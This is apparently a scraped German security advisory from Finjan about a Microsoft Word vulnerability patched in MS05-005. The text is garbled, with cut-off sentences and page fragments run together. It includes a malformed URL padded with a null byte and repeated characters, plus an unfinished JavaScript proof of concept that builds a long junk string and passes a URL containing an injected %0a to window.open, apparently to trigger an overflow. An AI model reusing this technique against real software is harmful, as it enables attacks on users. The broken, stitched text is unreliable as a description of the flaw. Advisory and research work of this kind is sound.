Gefährliche Sicherheitslücke in Microsoft Word

Finjan Internet-1Box

Malicious Code Research Center (MCRC) http://www.microsoft.com/technet/security/Bulletin/MS05-005.mspx herunter geladen werden kann.

"Bei der Erforschung von neuen Entwicklungen und Risiken im Sicherheitsmarkt bleibt Finjans Malicious Code Research Center (MCRC) Vorreiter"

Finjan-Kunden ausser Gefahr1BoxTechnische Detailshttp://www.myhost.com/myfile.doc. Dagegen stellt http://www.myhost.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...aa.docCode (Proof of Concept)

<script>

var mylongstring,myjunk;

mylongstring ="";

myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";

for(c=1;c<5000;c++)

{

  mylongstring = mylongstring + myjunk;

}

window.open(http://www.hhs.gov/ocr/privacysummary.rtf%0a0http://www.finjan.com/mcrc/